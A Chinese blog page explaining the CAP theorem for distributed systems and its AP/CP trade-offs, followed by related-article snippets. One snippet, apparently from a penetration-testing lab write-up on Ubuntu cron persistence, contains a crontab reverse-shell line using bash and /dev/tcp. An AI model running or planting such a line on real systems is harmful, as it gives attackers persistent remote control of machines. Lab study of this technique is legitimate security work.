什么是CAP理论及应用场景,为什么只能进行3选2

在理论计算机科学中,CAP定理(CAP theorem),又被称作布鲁尔定理(Brewer's theorem),它指出对于一个分布式计算系统来说,不可能同时满足以下三点:

1、 一致性(Consistency) (等同于所有节点访问同一份最新的数据副本)

2、 可用性(Availability)(每次请求都能获取到非错的响应——但是不保证获取的数据为最新数据)

3、分区容错性(Partition tolerance)(以实际效果而言,分区相当于对通信的时限要求。系统如果不能在时限内达成数据一致性,就意味着发生了分区的情况,必须就当前操作在C和A之间做出选择。)

一致性(Consistency) 

一致性是说,所有节点访问同一份最新的数据副本;即一致性保证了无论将数据写入哪一个节点,其它的节点都能实时同步到这个新数据,而随后无论从哪个节点读到的都是最新的数据。如下图所示: 

如果节点之间数据同步有异常,那就必须先解决掉同步的问题,挂起所有的请求,等待数据同步完成后才响应,那么会出现以下几种情况:

  • 请求在等待很久后才得到了正确结果

  • 写入数据异常

  • 读取数据异常

可用性(Availability) 

 可用性是说,如果有节点异常了,只要向其它无异常的节点发送请求,总能正常的收到响应数据,但数据可以不是最新的,如下图所示:

分区容错性(Partition tolerance) 

先说分区是什么,在分布式系统中,不同的节点分布在不同的子网络中,若因一些网络故障,出现了子网络之间不通的情况,但每个子网络内是正常的;这样一个完整的系统就被切分成了若干个相对孤立的区域,这就是分区。

对于分布式系统来说,在遇到任何网络故障而导致分区时,仍然能够对外提供具有一致性或可用性的服务。也就是说会分区之间即使无法同步数据,也能对外提供服务。

CAP的取舍策略和应用场景 

1)AP

保持可用性和分区容错。如果选择分区容错性和可用性,当节点损坏时,遇到分区事件,受影响的服务不需要等待数据一致,就可以对外提供服务,保证了可用性就必须放弃一致性。

2)CP

保证一致性和分区容错。如果选择分区容错性和一致性,为保证一致性,各个节点之间的数据必须保持一致,当出现分区时,会导致同步时间无限延长,在同步的这段时间就无法对外提供服务,就无法保证可用性。

3)CA

保持一致性的同时保证可用性,这在分布式系统中是不存在的,因为分区问题总是会出现在分布式系统中。出现分区就必然会产生一致性问题和可用性问题,一致性和可用性两者只能选其一。

为什么只能 3 选 2

为什么只能 3 选 2?

首先问,能不能同时满足这三个条件?

假设有一个系统如下:

 

整个系统由两个节点配合组成,之间通过网络通信,当节点 A 进行更新数据库操作的时候,需要同时更新节点 B 的数据库(这是一个原子的操作)。

上面这个系统怎么满足 CAP 呢?C:当节点A更新的时候,节点B也要更新,A:必须保证两个节点都是可用的,P:当节点 A,B 出现了网络分区,必须保证对外可用。

可见,根本完成不了,只要出现了网络分区,A 就无法满足,因为节点 A 根本连接不上节点 B。如果强行满足 C 原子性,就必须停止服务运行,从而放弃可用性 C。

所以,最多满足两个条件:

能不能解决 3 选 2 的问题 

难道真的没有办法解决这个问题吗?

CAP 理论已经提出了 13 年,也许可以做些改变。

仔细想想,分区是百分之百出现的吗?如果不出现分区,那么就能够同时满足 CAP。如果出现了分区,可以根据策略进行调整。比如 C 不必使用那么强的一致性,可以先将数据存起来,稍后再更新,实现所谓的 “最终一致性”。

这个思路又是一个庞大的问题,同时也引出了第二个理论 Base 理论,我们将在后面的文章中详细介绍。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/789985.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【教程】Hexo 部署到 Github Page 后,自定义域名失效的问题

目录 前言&问题描述解决方案细节 前言&问题描述 近期给 Github Page 上托管的静态网站映射了自定义域名(aiproducthome.top),之后发现每次更新并部署 hexo 到 Github Page (hexo d)后就会出现自定义域名失效的…

【pyqt-实训训练LOG】串口助手

串口助手 前言一、ui设计二、ui的控件命名三、ui转py使用类的方法【扩展】使用ui文件导入!P7的小错误解决办法 总结 前言 我的惯例就是万物之始,拜见吾师🥰⇨pyqt串口合集 最开始的时候我想的是,学了那么久的pyqt,我…

【idea 修改VM配置,无法启动;必杀技】

idea 修改VM配置,无法启动;必杀技 报错信息 error launching idea failed to created JVM 解决方案 不要管你安装的环境在哪,使用了什么破解插件。统统不管用。直接找到C:\Users\YOURWORLD\AppData\Roaming\JetBrains下的idea中的idea64…

换新启航环游浪漫新篇章

✨🎉【焕新启航,环游浪漫新篇章 —— 《焕新环游传》盛大开播】🎉✨在时光的温柔转角,一场前所未有的梦幻之旅悄然拉开序幕!🌟《焕新环游传》—— 这不仅仅是一部剧集的开播,更是对过往角色遗憾…

从0开始的STM32HAL库学习1

基础外设初始化配置步骤 本学习以stm32f103c8t6为主控芯片学习。配合DMK-Keil使用,因为cubeide我还没找到很好的教程,而且用了几次发现不会用,所以还是先学习hal库,等hal库学习完之后再用学习使用cubeide,两者使用应该…

【论文阅读】Characterization of Large Language Model Development in the Datacenter

26.Characterization of Large Language Model Development in the Datacenter 出处: NSDI-2024 数据中心中大型语言模型开发的表征InternLM/AcmeTrace (github.com) 摘要 大语言模型(LLMs)在许多任务中表现出色。然而,要高效利用大规模集…

技术速递|宣布为 .NET 升级助手提供第三方 API 和包映射支持

作者:Marco Goertz 排版:Alan Wang .NET 升级助手是一个 Visual Studio 扩展和命令行工具,可帮助您将应用从之前的 .NET 和 .NET Framework 升级到最新版本的 .NET。正如我们在之前的文章中所描述的那样,它为升级 Microsoft 库和框…

短视频矩阵系统多账号搭建技术源码(saas开发者技术独立搭建)

在构建云服务环境以部署虚拟机方面,以Amazon Web Services(AWS)为示例,需采购并配置适当数量的EC2实例以及相关网络设施。 接下来,根据业务需求,应创建多个社交媒体平台如抖音和快手的官方账户,…

(一)、python程序--模拟电脑鼠走迷宫

一、绪论 1、简介 电脑鼠走迷宫是一种比赛,制作实物电脑鼠小车在迷宫找目标点,用时最短者获胜。考验参赛选手软硬件结合的能力。 2、走迷宫模拟软件中已实现功能 1、点击迷宫墙壁可编辑迷宫,并且可保存和加载迷宫形状文件; 2、…

设计模式探索:适配器模式

1. 适配器模式介绍 1.1 适配器模式介绍 适配器模式(adapter pattern)的原始定义是:将一个类的接口转换为客户期望的另一个接口,适配器可以让不兼容的两个类一起协同工作。 适配器模式的主要作用是把原本不兼容的接口&#xff0c…

告别推广分成结算烦恼,Xinstall助力精准统计,让收益一目了然!

在快速变化的互联网环境中,App的推广与运营面临着前所未有的挑战。传统的营销手段已经难以应对当前复杂的市场环境,特别是在推广分成结算这一环节,往往成为众多企业的痛点。然而,有了Xinstall的加入,这一切都将变得不同…

centos系统查找mysql的配置文件位置

执行命令查找mysql的安装目录: which mysql cd进入mysql的安装目录 cd /usr/bin 查找配置文件位置 ./mysql --help | grep "my.cnf" 定位配置文件 cd /etc 查找命令还可以用find命令 find / -name "my.cnf"

第六次作业

一、视图作业 1、创建视图v_emp_dept_id_1,查询销售部门的员工姓名和家庭住址 2、创建视图v_emp_dept,查询销售部门员工姓名和家庭住址及部门名称。 3、创建视图v_dept_emp_count(dept_name,emp_count,avg_salay),统计每个部门人数并计算平均…

78000A 信号分析软件

思仪(Ceyear) 78000A 信号分析软件 78000A 信号分析软件是一款能够在电脑上运行的应用软件,预留了开放式的 SCPI 控制指令,可以远程控制信号/频谱分析仪采集数据,也可以回放仿真数据或者采集的历史数据文件,执行通用频谱测量、矢…

RK3568平台(opencv篇)opencv处理图像视频

一.读取图像文件并展示 灰度图像: 灰度图需要用 8 位二进制来表示,取值范围是 0-255。用 0 表示 0(黑色), 用 255 表示 1(白色),取值越大表示该点越亮。 RGB 彩色图像:…

愚人杯的RE题

easy_pyc pyc反编译成py文件 # uncompyle6 version 3.9.1 # Python bytecode version base 2.7 (62211) # Decompiled from: Python 3.11.8 (tags/v3.11.8:db85d51, Feb 6 2024, 22:03:32) [MSC v.1937 64 bit (AMD64)] # Embedded file name: enpyc.py # Compiled at: 2023…

realsense D435l+mid360标定

目录 一、安装realsense环境 二、获取realsense D450L相机内参 三、标定雷达和相机 1.下载livox_camera_calib 2.修改配置参数 3.使用fastlio生成点云 4.标定 一、安装realsense环境 git clone https://github.com/IntelRealSense/librealsense.git cd librealsense //更…

ubuntu计划任务反弹

实验环境 攻击者 操作系统:kali IP:192.168.244.141 目标主机 操作系统:ubuntu IP:192.168.244.151 实验步骤 目标主机构造任务计划 构造语句 * * * * * /bin/bash -c bash -i >& /dev/tcp/{ip}/{port} 0>&…

硅谷甄选运营平台-vue3组件通信方式

vue3组件通信方式 vue2组件通信方式: props:可以实现父子组件、子父组件、甚至兄弟组件通信自定义事件:可以实现子父组件通信全局事件总线$bus:可以实现任意组件通信pubsub:发布订阅模式实现任意组件通信vuex:集中式状态管理容器,实现任意组件通信ref:父…

德语中含“Augen”的惯用语表达-柯桥小语种学习德语考级

在我们的德语学习过程中,除了词汇的记忆,另一项重要的记忆任务就是惯用语的背诵啦。要知道,德语中有大量的Redewendung,他们以其言简意赅的表达,在日常用语中备受青睐。上一期我们已经学习了部分含有“Hand”的惯用语&…